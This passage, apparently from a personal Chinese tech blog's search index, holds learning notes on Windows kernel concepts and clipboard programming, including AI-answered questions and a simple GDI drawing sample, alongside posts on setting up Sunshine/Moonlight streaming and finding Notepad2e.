id=\"杂项\"\u003e杂项\u003c/h1\u003e\n\u003cp\u003e\u003ccode\u003e特权模式\u003c/code\u003e和\u003ccode\u003e内核模式\u003c/code\u003e相同\u003c/p\u003e\n\u003ch1 id=\"系统进程\"\u003e系统进程\u003c/h1\u003e\n\u003cp\u003e笔者学习到此处的时候开始怀疑原作者是否有自己看过他写的文章。（错别字）\u003cbr\u003e\n我要不要换一篇文章阅读。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e系统空闲进程（Idle）：该进程的PID为0，其中每个处理器或核对应有一个线程。\u003c/li\u003e\n\u003cli\u003eSystem 进程：这是操作系统的核心进程，PID为4。它负责管理内核模式下线程、设备驱动程序、中断处理和其他核心事件。\u003c/li\u003e\n\u003cli\u003e会话管理器（smss.exe）：Windows系统中创建的第一个用户模式进程，在Windows启动过程中创建环境变量，（启动了子系统进程csrss.exe和登录进程winlogon.exe）。另外，它还负责创建新的终端服务器会话，包括建立会话空间的数据结构，为新建的终端服务器加载子系统。\u003c/li\u003e\n\u003cli\u003e登录进程（winlogon.exe）：负责处理交互用户的登录和注销。\u003c/li\u003e\n\u003cli\u003eWindows子系统进程（csrss.exe）：负责为用户提供一个子系统环境。\u003c/li\u003e\n\u003cli\u003e本地安全权威子系统进程（lsass.exe）：负责本地系统安全策略。\u003c/li\u003e\n\u003cli\u003eShell进程（explorer.exe）：Windows的默认Shell，它提供了系统与用户打交道的各种界面，包括开始菜单、任务栏、资源管理窗口等几乎所有Windows用户都熟悉的界面。\u003c/li\u003e\n\u003cli\u003e服务控制管理器（services.exe）：负责Windows的系统服务，指一些特殊的进程。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eservices比较常见，会启动注册为服务并且选择开机自启的一些特殊dll，或者在手动模式下被管理员权限的程序要求启动一些服务。\u003cbr\u003e\n对于病毒来说是其中一个藏身地。另外一个藏身地是任务计划程序。\u003cbr\u003e\n某些“病毒”会藏身于其中，并且不将自己注册为开机自启，而是每一个小时启动一次，这样可以逃避部分检查开机自启的程序。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18747525/3336551-20250308105555090-849521297.png\"\u003e\u003cbr\u003e\n只能说，非常天才，不愧是国产，脑子转得就是快。\u003cbr\u003e\n既然它这样恶心我了，那我也只能把它装进沙盒里面了。\u003cbr\u003e\n不过沙盒里面它也依旧能恶心我：\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18747525/3336551-20250308105810524-1059901052.jpg\"\u003e\u003cbr\u003e\n在思考他的云同步功能到底有没有那么重要，要不要换office。\u003c/p\u003e","title":"Windows内核学习笔记（四）"},{"content":"前言 其实我已经配置好了，目前的配置是\n不过我额外安装vdd是因为基地版自带的那个显示屏有点问题。\n只不过我自己也忘了有什么问题了。\n但是现在\n什么？有更新？\n更新来玩玩。\n博主能这样随便更新，是因为这个软件不怎么用，而且喜欢折腾才这样做的，如果经常需要使用建议是稳定就不更新了\n啥意思，以前本机外可以直接访问WEBUI吗，这太离谱。\n感觉更应该是以前不监听本机外IP\n卸载 按照提示卸载即可\n安装 直接下一步就完事\n修bug 出现了，逃不掉的。\n用新的东西以后开始出bug，看不懂，更新一下先\n再次卸载 看不懂报错原因，卸载了再说\n尝试 首先是主要显示屏，正常\n不过主要显示屏不是我需要的，我需要副屏。\n只修改了这个的情况下又出现了同样的错误\n哎，没有即开即用差评。\n修bug 来了，就是你\n这里我有很多个，看来得逐个尝试\nhttps://docs.qq.com/aio/DSGdQc3htbFJjSFdO?p=CrB04l6s9Gb1Wt7LRyhlzb\n对着第二个完成就好。\n不过现在手机有黑边\n黑边是必须清除的，这也是我升级新版本的理由之一\n手机设置了本地全屏+70%\n这样就可以了。\n来看看效果\n哎不过说起来，我要不要做个竖屏呢？竖屏会不会更好？\n说干就干，试试！\n【Moonlight横竖屏切换，全程快捷手势操作。】 https://www.bilibili.com/video/BV1Kc8Pe9EL3/?share_source=copy_web\u0026amp;vd_source=bda5319714f273d50d1e88532dadb7d1\n没有成功，不过似乎这个up的特殊版本支持，试试\n插入一节 更新版本以后，发现这个moonlight也学sunshine在那放二次元背景。\n不是，你的意思是这些图片都是联网的？\n你考虑过我流量党的感受吗？\n也还行，这个流量消耗还能接受。\n只不过每次打开的时候都会等一会，让我觉得我流量跑了很多的感觉。\n顺便api扒出来了：随机图片API\n竖屏 总感觉自己跳过了好多步骤，不管了\n总之就是，算一下比例，60%，然后手机端乘法算一下实际的分辨率，然后电脑和手机都把这个新的分辨率加上，重启手机端moonlight，链接，完成。\n","permalink":"https://t1mmoc.github.io/posts/18746405/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e其实我已经配置好了，目前的配置是\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746405/3336551-20250302163251769-772554031.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746405/3336551-20250302163303438-1634704763.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746405/3336551-20250302163236811-983303746.png\"\u003e\u003c/p\u003e\n\u003cp\u003e不过我额外安装vdd是因为基地版自带的那个显示屏有点问题。\u003cbr\u003e\n只不过我自己也忘了有什么问题了。\u003cbr\u003e\n但是现在\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746405/3336551-20250302163414817-1184547651.png\"\u003e\u003cbr\u003e\n什么？有更新？\u003cbr\u003e\n更新来玩玩。\u003cbr\u003e\n\u003cstrong\u003e博主能这样随便更新，是因为这个软件不怎么用，而且喜欢折腾才这样做的，如果经常需要使用建议是稳定就不更新了\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746405/3336551-20250302163925103-1876365977.png\"\u003e\u003cbr\u003e\n啥意思，以前本机外可以直接访问WEBUI吗，这太离谱。\u003cbr\u003e\n感觉更应该是以前不监听本机外IP\u003c/p\u003e\n\u003ch1 id=\"卸载\"\u003e卸载\u003c/h1\u003e\n\u003cp\u003e按照提示卸载即可\u003c/p\u003e\n\u003ch1 id=\"安装\"\u003e安装\u003c/h1\u003e\n\u003cp\u003e直接下一步就完事\u003c/p\u003e\n\u003ch1 id=\"修bug\"\u003e修bug\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746405/3336551-20250302165324268-352461817.jpg\"\u003e\u003cbr\u003e\n出现了，逃不掉的。\u003cbr\u003e\n用新的东西以后开始出bug，看不懂，更新一下先\u003c/p\u003e\n\u003ch1 id=\"再次卸载\"\u003e再次卸载\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746405/3336551-20250302165917786-1047678304.png\"\u003e\u003cbr\u003e\n看不懂报错原因，卸载了再说\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746405/3336551-20250302170035763-1499600406.jpg\"\u003e\u003c/p\u003e","title":"Sunshine Moonlight 串流 再玩一把"},{"content":"前言 好累，终于码完一篇字了。\n进入正题吧\n与AI对话 https://learn.microsoft.com/zh-cn/windows/win32/dataxchg/standard-clipboard-formats\n提问是个好习惯，询问AI可以快速得到回答。\nGDI 对象是什么，什么是 GDI 对象？ GDI（Graphics Device Interface，图形设备接口）对象是 Windows 操作系统中用于管理和操作图形资源的基本实体。GDI 是 Windows 提供的一组 API（应用程序编程接口），用于在屏幕上绘制图形、文本和图像，同时也用于打印和显示设备的交互。GDI 对象是这些图形操作的核心组成部分。\nGDI 对象的类型 GDI 对象可以分为两大类：图形设备上下文（DC） 和 图形对象。\n图形设备上下文（DC） 图形设备上下文（DC，Device Context）是一个数据结构，它封装了与绘图相关的设备信息和绘图状态。每个 DC 都包含了以下信息：\n设备信息：描述绘图目标的设备特性，例如屏幕分辨率、颜色深度、打印机的纸张大小等。 绘图状态：包括当前的绘图模式、颜色映射、剪切区域、字体、画笔、画笔等。 绘图目标：可以是屏幕窗口、打印机、内存中的位图等。 常见的 DC 类型包括：\n窗口设备上下文（Window DC）：用于在窗口中绘图。 兼容设备上下文（Compatible DC）：用于在内存中创建与屏幕或打印机兼容的绘图环境，常用于双缓冲绘图。 打印机设备上下文（Printer DC）：用于打印操作。 图形对象 图形对象是用于绘图的具体资源，它们可以被选入 DC 中以完成特定的绘图任务。常见的图形对象包括：\n画笔（Brush）：用于填充图形的内部区域，例如矩形、圆形或路径。画笔可以是纯色、图案或渐变色。 画笔（Pen）：用于绘制线条和轮廓，可以设置颜色、宽度、线型（实线、虚线等）。 字体（Font）：用于绘制文本，可以设置字体类型、大小、样式（粗体、斜体等）。 位图（Bitmap）：用于存储像素数据，可以用于在屏幕上显示图像或作为绘图的源数据。 区域（Region）：用于定义复杂的剪切区域，控制绘图操作的范围。 路径（Path）：用于定义复杂的图形轮廓，可以包含直线、曲线等。 GDI 对象的生命周期 GDI 对象的生命周期由操作系统管理，但需要程序员正确地创建和销毁。例如：\n创建一个画笔或字体时，需要调用 CreatePen、CreateFont 等函数。 使用完成后，需要调用 DeleteObject 函数释放资源，以避免资源泄漏。 GDI 对象的作用 封装设备特性：DC 封装了设备的绘图特性，使得应用程序可以独立于设备进行绘图操作。 提供绘图工具：图形对象（如画笔、字体）提供了绘图所需的工具，使得绘图操作更加灵活。 支持设备无关性：GDI 对象使得应用程序可以在不同的设备（如屏幕、打印机）上以一致的方式进行绘图。 简化编程模型：通过 GDI 对象，程序员可以使用简单的函数调用完成复杂的绘图任务。 示例代码 以下是一个简单的 C++ 示例，展示如何使用 GDI 对象在窗口中绘制图形：\n#include \u0026lt;windows.h\u0026gt; LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) { switch (message) { case WM_PAINT: { PAINTSTRUCT ps; HDC hdc = BeginPaint(hwnd, \u0026amp;ps); // 获取设备上下文 // 创建画笔和画刷 HPEN hPen = CreatePen(PS_SOLID, 2, RGB(255, 0, 0)); // 红色画笔 HBRUSH hBrush = CreateSolidBrush(RGB(0, 255, 0)); // 绿色画刷 // 选入设备上下文 SelectObject(hdc, hPen); SelectObject(hdc, hBrush); // 绘制矩形 Rectangle(hdc, 10, 10, 100, 100); // 释放资源 DeleteObject(hPen); DeleteObject(hBrush); EndPaint(hwnd, \u0026amp;ps); } return 0; case WM_DESTROY: PostQuitMessage(0); return 0; } return DefWindowProc(hwnd, message, wParam, lParam); } CF_OWNERDISPLAY CF_OWNERDISPLAY 是一个剪贴板格式标识符，其值为 0x0080 。当使用这种格式时，它表示剪贴板的内容由剪贴板所有者（即当前拥有剪贴板数据的应用程序）直接显示和更新。\n所有者显示格式 ：这意味着剪贴板的内容不会以常规的数据形式存储在剪贴板中，而是由剪贴板所有者负责在剪贴板查看器窗口中进行显示和更新。\n剪贴板所有者必须显示和更新剪贴板查看器窗口 ：剪贴板所有者需要负责在剪贴板查看器窗口中显示剪贴板的内容，并且当内容发生变化时，及时更新该窗口。\n接收消息 ：剪贴板所有者需要能够接收以下几种消息，以便正确处理剪贴板查看器窗口的操作：\nWM_ASKCBFORMATNAME ：当需要获取剪贴板格式的名称时，会发送此消息。 WM_HSCROLLCLIPBOARD ：当需要水平滚动剪贴板查看器窗口的内容时，会发送此消息。 WM_PAINTCLIPBOARD ：当需要绘制剪贴板查看器窗口的内容时，会发送此消息。 WM_SIZECLIPBOARD ：当需要调整剪贴板查看器窗口的大小时，会发送此消息。 WM_VSCROLLCLIPBOARD ：当需要垂直滚动剪贴板查看器窗口的内容时，会发送此消息。 hMem 参数必须为 NULL ：在使用 CF_OWNERDISPLAY 格式时，传递给相关函数的 hMem 参数（通常用于指定存储剪贴板数据的内存句柄）必须为 NULL ，因为这种格式下，数据不是以常规的内存块形式存储的，而是由剪贴板所有者直接处理显示。\n总之，这段内容主要描述了 CF_OWNERDISPLAY 格式的特点和要求，即剪贴板所有者需要负责显示和更新剪贴板查看器窗口，并且能够处理相关的消息，同时在使用该格式时，hMem 参数必须为 NULL。\n“剪贴板所有者”指的是用户还是程序？ 在 Windows 系统中，“剪贴板所有者”指的是程序，而不是用户。\n解释：\n剪贴板的概念：\n剪贴板是操作系统提供的一种共享内存区域，用于在不同应用程序之间传递数据（例如复制、粘贴操作）。\n用户通过操作（如按下 Ctrl+C 或右键选择“复制”）触发数据被复制到剪贴板，但实际管理剪贴板数据的是应用程序。\n剪贴板所有者的定义： 当一个程序将数据放入剪贴板时，它就成为了剪贴板的所有者（Clipboard Owner）。\n剪贴板所有者是最后一个将数据放入剪贴板的程序，它负责管理剪贴板中的数据，直到另一个程序接管剪贴板的所有权。\n例如，当你在文本编辑器中复制一段文字时，这个文本编辑器程序就成为了剪贴板的当前所有者。\n剪贴板所有者的职责：\n如果剪贴板数据使用的是特殊格式（如 CF_OWNERDISPLAY），剪贴板所有者需要负责在剪贴板查看器中显示和更新数据。\n剪贴板所有者还需要处理与剪贴板相关的消息（如 WM_PAINTCLIPBOARD、WM_HSCROLLCLIPBOARD 等）。\n当程序关闭或退出时，它通常会放弃剪贴板的所有权，由系统或其他程序接管。\n用户的角色：\n用户是通过与程序交互（如点击、按键操作）来触发剪贴板操作的主体。\n用户并不直接管理剪贴板，而是通过程序来间接操作剪贴板。\n总结： “剪贴板所有者”是指最后一个将数据放入剪贴板的程序，而不是用户。程序负责管理剪贴板数据的存储、显示和更新，而用户只是通过程序来操作剪贴板。\n“剪贴板查看器窗口”指的是Win+V键弹出的窗口吗 不完全是。在 Windows 的上下文中，“剪贴板查看器窗口”（Clipboard Viewer Window）是一个比较古老的概念，主要用于传统的剪贴板查看机制，而不是我们熟悉的 Win+V 弹出的“剪贴板历史”窗口。\n传统的剪贴板查看器\n在早期的 Windows 系统中（如 Windows 95、Windows XP 等），剪贴板查看器是一个独立的工具，通常可以通过“剪贴板查看器”程序（clipbrd.exe）启动。\n它的作用是显示当前剪贴板的内容，支持多种格式（如文本、图像等）。应用程序可以通过发送消息（如 WM_PAINTCLIPBOARD）来更新剪贴板查看器中的内容。\n这种机制主要用于开发人员调试剪贴板功能，或者在应用程序之间共享复杂的数据格式。 Win+V 的“剪贴板历史”窗口\nWin+V 弹出的窗口是 Windows 10 及更高版本中引入的“剪贴板历史”功能。它是一个现代化的剪贴板管理工具，用于存储和管理用户复制的多个历史记录。\n它与传统的剪贴板查看器不同，因为它：\n不依赖于传统的剪贴板查看机制。\n不需要应用程序直接与剪贴板查看器窗口交互。\n支持跨设备同步（通过 Windows 设置中的“剪贴板历史”功能）。\n是一个系统级的全局功能，而不是一个独立的工具。 区别总结\n传统剪贴板查看器：\n用于显示当前剪贴板的内容。\n需要应用程序直接与查看器窗口交互（如处理 WM_PAINTCLIPBOARD 消息）。\n主要用于开发调试或特定应用程序之间的数据共享。\nWin+V 的剪贴板历史：\n用于存储和管理用户的剪贴板历史记录。\n不需要应用程序直接与查看器窗口交互。\n是一个系统级功能，用户可以手动粘贴历史记录。 CF_OWNERDISPLAY 的关联\nCF_OWNERDISPLAY 格式与传统的剪贴板查看器机制相关。它要求剪贴板所有者直接绘制和更新剪贴板查看器窗口的内容。这种机制在现代 Windows 系统中已经不常用，但在某些特定的开发场景中仍然可能会遇到。 如果你在开发中遇到 CF_OWNERDISPLAY，它通常与传统的剪贴板查看器窗口相关，而不是 Win+V 的剪贴板历史功能。\nANSI和ASCII的区别是？ ANSI 和 ASCII 的区别主要体现在以下几个方面：\n1. 编码范围 ASCII： ASCII（美国信息交换标准代码）是一种基于英文字符的编码标准，使用7位二进制数表示字符，共有128个字符，包括大小写英文字母、数字0-9以及一些控制字符和标点符号。 ANSI： ANSI 是一种扩展的字符编码标准，通常指 Windows 系统中的代码页（如 CP1252）。它使用8位二进制数（即1字节）表示字符，可以表示256个字符。ANSI 在 ASCII 的基础上增加了对欧洲语言字符的支持，如带重音符号的字符等。 2. 用途 ASCII： 主要用于英文字符的表示，是最早被广泛使用的字符编码标准之一，在早期计算机系统和网络通信中占据重要地位。 ANSI： 主要用于支持多种语言的字符表示，尤其是在 Windows 系统中，ANSI 是默认的字符编码，用于处理本地语言环境下的文本。 3. 兼容性 ASCII： ASCII 是一种基础编码，几乎所有现代计算机系统和软件都支持 ASCII 编码。 ANSI： ANSI 是一种扩展编码，其兼容性取决于具体的代码页。不同地区和语言环境可能使用不同的 ANSI 代码页，因此在跨语言或跨平台传输时可能会出现乱码问题。 4. 示例 ASCII： 字符 \u0026ldquo;A\u0026rdquo; 的 ASCII 编码是 65（十进制）或 0x41（十六进制）。 ANSI： 字符 \u0026ldquo;é\u0026rdquo; 在 ANSI 编码（如 CP1252）中是 233（十进制）或 0xE9（十六进制），而在 ASCII 中没有这个字符。 人类总结：ANSI ==\u0026gt; 本地编码（不得不提chcp 65001） 剪贴板设置函数 https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-setclipboarddata\n剪贴板格式: https://learn.microsoft.com/zh-cn/windows/win32/dataxchg/clipboard-formats\n可以程序注册，可以使用标准自带的，可以放入多个不同格式的剪贴内容。\n或者看这个图可以看得出来到底有多少东西。\n另外也就是这起名千奇百怪。\n罢了罢了。\n","permalink":"https://t1mmoc.github.io/posts/18746299/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e好累，终于码完一篇字了。\u003cbr\u003e\n进入正题吧\u003c/p\u003e\n\u003ch1 id=\"与ai对话\"\u003e与AI对话\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://learn.microsoft.com/zh-cn/windows/win32/dataxchg/standard-clipboard-formats\"\u003ehttps://learn.microsoft.com/zh-cn/windows/win32/dataxchg/standard-clipboard-formats\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e提问是个好习惯，询问AI可以快速得到回答。\u003c/p\u003e\n\u003ch2 id=\"gdi-对象是什么什么是-gdi-对象\"\u003eGDI 对象是什么，什么是 GDI 对象？\u003c/h2\u003e\n\u003cp\u003eGDI（Graphics Device Interface，图形设备接口）对象是 Windows 操作系统中用于管理和操作图形资源的基本实体。GDI 是 Windows 提供的一组 API（应用程序编程接口），用于在屏幕上绘制图形、文本和图像，同时也用于打印和显示设备的交互。GDI 对象是这些图形操作的核心组成部分。\u003c/p\u003e","title":"Windows 剪贴板 编程原理学习"},{"content":"前言 不得不说上三休四的生活就是舒服，我都有精力提升自己了。\n本文将基于自己在生活中遇到的现象进行探索，因此问题引入对自己较为重要，读者可以跳过。\n文章主要探讨剪贴板格式问题，即下面的链接。\nhttps://learn.microsoft.com/zh-cn/windows/win32/dataxchg/standard-clipboard-formats\n续前言 我逐渐发现这篇文章越写愈多了，因此编程原理的学习将会另开一篇。\n本篇文章是指我在遇到剪贴板在生活中的现象。\n问题引入 情境一 从一个复杂格式的软件复制文本到QQ的文本框，复杂格式会被自动清除，但是基本内容仍然保留\n不过我认为windows自带的这个才是真正的复制结果。\nQQ把这个小圆点作为空格复制过去了。\n奇怪的地方在于复制回来会。。。\n如果在本软件复制本软件的，当然会正常，毕竟内容是html格式。\n情境二 使用sn（忘名了）或者pixpin的人可能看到过这个“复制图像为文件”的选项\n在不勾选它的情况下，截图，复制。\n可以在QQ中正常粘贴，但是如果尝试粘贴到文件系统会被拒绝。\n此时勾选这个剪贴板内容后，再试一次。\n这有个问题，QQ发的是原图，而且带文件格式，也就是QQ将会不负责压缩本图片。\n这是一个糟糕的情况。\n再看QQ是怎么做的，这里确实得夸QQ。\n尝试了一下，还是小骂一下QQ好了。\n截图后并不能完成两边都可以粘贴的情况，但是在聊天框粘贴后，在聊天框复制，可以粘贴到其他应用，或者是文件系统。\n微信也是一样的效果，刚截图完成的时候无法粘贴到文件系统，但是在聊天框复制了一遍就可以粘贴到文件系统了。\n尝试复制多张图片。\n注意到可以粘贴图片。\n尝试混入文字\n混合了文字的无法完成粘贴，是windows所致还是QQ所致？\n情境三 通过使用Clipdiary，可以直接拿到url\n这是通用方法，html复制后会自带源url。\n情境解释 情境一和情境三比较简单，已经在情境说明中解释了。\n情境二 安装了软件 clipdiary 以查看剪贴板的内容。\n1和5是从QQ复制的图片，4是从QQ复制的Pixpin截图，6是从QQ复制的图片+文字结合。\n3是Pixpin不开启复制为图片的复制结果，2是Pixpin复制图片的结果\n从剪贴板内容来看，没有任何区别。\n那么，真正的无法粘贴到文件系统的原因是——Pixpin的图片复制没有在本地新建任何图片，因此没有绑定一个本地的文件。\n我不是很愿意升级国产软件，因为如果升级以后开始必须收费我就不得不转换到其他软件了。\n注：bandizip是另一个我升级以后后悔的软件，本以为这种小软件应该是良心的，幸好互联网给了我后悔的机会。\n不过为了测试我以前给官方反馈的问题有没有解决，还是升级一下。\n结论：没有成功，再反馈一次。\n点击查看图片 ","permalink":"https://t1mmoc.github.io/posts/18746236/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e不得不说\u003cstrong\u003e上三休四\u003c/strong\u003e的生活就是舒服，我都有精力提升自己了。\u003cbr\u003e\n本文将基于自己在生活中遇到的现象进行探索，因此问题引入对自己较为重要，读者可以跳过。\u003cbr\u003e\n文章主要探讨剪贴板格式问题，即下面的链接。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://learn.microsoft.com/zh-cn/windows/win32/dataxchg/standard-clipboard-formats\"\u003ehttps://learn.microsoft.com/zh-cn/windows/win32/dataxchg/standard-clipboard-formats\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1 id=\"续前言\"\u003e续前言\u003c/h1\u003e\n\u003cp\u003e我逐渐发现这篇文章越写愈多了，因此编程原理的学习将会另开一篇。\u003cbr\u003e\n本篇文章是指我在遇到剪贴板在生活中的现象。\u003c/p\u003e\n\u003ch1 id=\"问题引入\"\u003e问题引入\u003c/h1\u003e\n\u003ch3 id=\"情境一\"\u003e情境一\u003c/h3\u003e\n\u003cp\u003e从一个复杂格式的软件复制文本到QQ的文本框，复杂格式会被自动清除，但是基本内容仍然保留\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302130833789-1044433296.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302130846467-158119179.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302131557486-1119533663.png\"\u003e\u003c/p\u003e\n\u003cp\u003e不过我认为windows自带的这个才是真正的复制结果。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302131640684-1790858305.png\"\u003e\u003cbr\u003e\nQQ把这个小圆点作为空格复制过去了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302131727299-763111085.png\"\u003e\u003cbr\u003e\n奇怪的地方在于复制回来会。。。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302131810793-1705441512.png\"\u003e\u003cbr\u003e\n如果在本软件复制本软件的，当然会正常，毕竟内容是html格式。\u003c/p\u003e\n\u003ch3 id=\"情境二\"\u003e情境二\u003c/h3\u003e\n\u003cp\u003e使用\u003cstrong\u003esn\u003c/strong\u003e（忘名了）或者\u003cstrong\u003epixpin\u003c/strong\u003e的人可能看到过这个“复制图像为文件”的选项\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302132109988-1694575079.png\"\u003e\u003cbr\u003e\n在不勾选它的情况下，截图，复制。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302132232457-916844750.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302132303120-18485165.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302132336688-1940436656.png\"\u003e\u003c/p\u003e\n\u003cp\u003e可以在QQ中正常粘贴，但是如果尝试粘贴到文件系统会被拒绝。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302132359237-126795188.jpg\"\u003e\u003cbr\u003e\n此时勾选这个剪贴板内容后，再试一次。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302132455764-547936742.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746236/3336551-20250302132446994-1010023021.jpg\"\u003e\u003c/p\u003e","title":"Windows 剪贴板 编程原理引入"},{"content":"起因 这天，正当我兴致勃勃地编写新的博客时，想要打开windows的notepad，结果居然发现有个奇怪的东西，还占在最优匹配上，还好我看了一眼名字没有回车直接打开\n我倒要看看是哪个国产流氓软件（注：刻板印象）给我偷偷装上的新notepad。\n哦，原来是TortoiseGit啊，误会国产软件了。\n不过我有个问题，你Notepad 2e x64 [ZH]\n这个 [ZH] 是否有点自欺欺人了？\n","permalink":"https://t1mmoc.github.io/posts/18746046/","summary":"\u003ch1 id=\"起因\"\u003e起因\u003c/h1\u003e\n\u003cp\u003e这天，正当我兴致勃勃地编写新的博客时，想要打开windows的notepad，结果居然发现有个奇怪的东西，还占在最优匹配上，还好我看了一眼名字没有回车直接打开\u003cbr\u003e\n我倒要看看是哪个国产流氓软件（注：刻板印象）给我偷偷装上的新notepad。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746046/3336551-20250302131055691-1075672637.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746046/3336551-20250302130946903-812227523.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746046/3336551-20250302131304852-263218889.png\"\u003e\u003cbr\u003e\n哦，原来是\u003cstrong\u003eTortoiseGit\u003c/strong\u003e啊，误会国产软件了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746046/3336551-20250302131345833-1922851005.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18746046/3336551-20250302131408770-907615179.png\"\u003e\u003cbr\u003e\n不过我有个问题，你Notepad 2e x64 [ZH]\u003cbr\u003e\n这个 \u003cstrong\u003e[ZH]\u003c/strong\u003e 是否有点自欺欺人了？\u003c/p\u003e","title":"寻觅Notepad2e"},{"content":"前言 此随笔为本人笔记，并非系统学习应当使用\n内核 ntoskrnl.exe 是 Windows 操作系统的核心内核程序文件，全称为 Windows NT Operating System Kernel。它是 Windows 操作系统正常运行的基础\n内核层级 R0是内核层，R3是应用层，而R1、R2不使用\n这样就解决了我之前不理解R1、R2是什么应用的问题\nWindows内核中主要可以分成三层：硬件抽象层（HAL），内核层（也称微内核micro-kernel），执行体层。\nNtdll.dll的功能 作为桥梁：Ntdll.dll是用户模式代码和内核模式系统服务之间的连接纽带。它使得用户模式的应用程序能够方便地调用内核提供的系统服务，而无需直接与内核进行交互，从而保证了系统的稳定性和安全性。 提供存根函数：对于内核提供的每一个系统服务，Ntdll.dll都对应提供一个存根函数。这些存根函数的名称以“Nt”作为前缀，例如NtCreateProcess（用于创建进程）、NtOpenFile（用于打开文件）等。存根函数的作用是为用户模式代码提供一个接口，当用户模式代码调用这些存根函数时，Ntdll.dll会将调用请求转发给相应的内核模式系统服务。 提供系统级支持函数：除了存根函数，Ntdll.dll还提供了许多系统级的支持函数，用于实现各种系统功能。这些支持函数按照功能不同有不同的前缀，例如： 映像加载器函数（以“Ldr”为前缀）：用于加载和管理程序的映像文件，例如LdrLoadDll（加载动态链接库）等。 系统时间函数（以“Etw”为前缀）：用于与系统时间相关的操作，例如EtwStartTrace（开始跟踪事件）等。 一般的运行支持函数（以“Rtl”为前缀）：提供各种运行时支持功能，例如RtlAllocateHeap（分配堆内存）等。 字符串支持函数：用于字符串操作，例如RtlCompareString（比较字符串）等。 中断请求级别 在Windows操作系统中调用内核函数时，必须关注中断请求级别（IRQL，Interrupt Request Level），原因如下：\nIRQL的定义与作用 IRQL是一个表示中断优先级的数字，用于确定中断处理的优先顺序。它确保处理器在处理不同任务时维持正确的操作顺序和安全性。Windows内核通过IRQL管理对硬件资源的访问，以及处理不同级别的中断和异常。\n不同IRQL级别对内核函数调用的限制 PASSIVE_LEVEL：最低的IRQL级别，大多数线程操作和内核函数在此级别运行。可以访问分页内存，且不会被中断。 APC_LEVEL：禁止异步过程调用（APC），某些内核函数在此级别不可用。 DISPATCH_LEVEL：禁止调度器操作，只能访问非分页内存，许多内核函数在此级别无法调用。 DIRQL（设备IRQL）：用于硬件中断处理，几乎无法调用普通内核函数。 高IRQL（HIGH_LEVEL）：这是最高的IRQL级别，用于系统关键操作，此时几乎所有的中断都被禁止。 调用内核函数时IRQL的重要性 内核函数通常对IRQL有明确的要求，调用时必须确保当前IRQL与函数要求的级别相符。如果不遵守这一规则，可能导致系统崩溃或数据损坏。 驱动程序开发中，合理管理IRQL至关重要。例如，某些函数只能在低IRQL下运行，而当前IRQL较高时，直接调用这些函数会导致系统不稳定。 避免死锁和性能问题 在高IRQL级别下，系统资源的访问和同步机制受到严格限制。开发者需要确保在高IRQL级别下尽量减少资源持有时间，避免复杂操作，以防止死锁和性能问题。 因此，调用内核函数时必须关注IRQL，以确保系统的稳定性和数据一致性。\n疑问 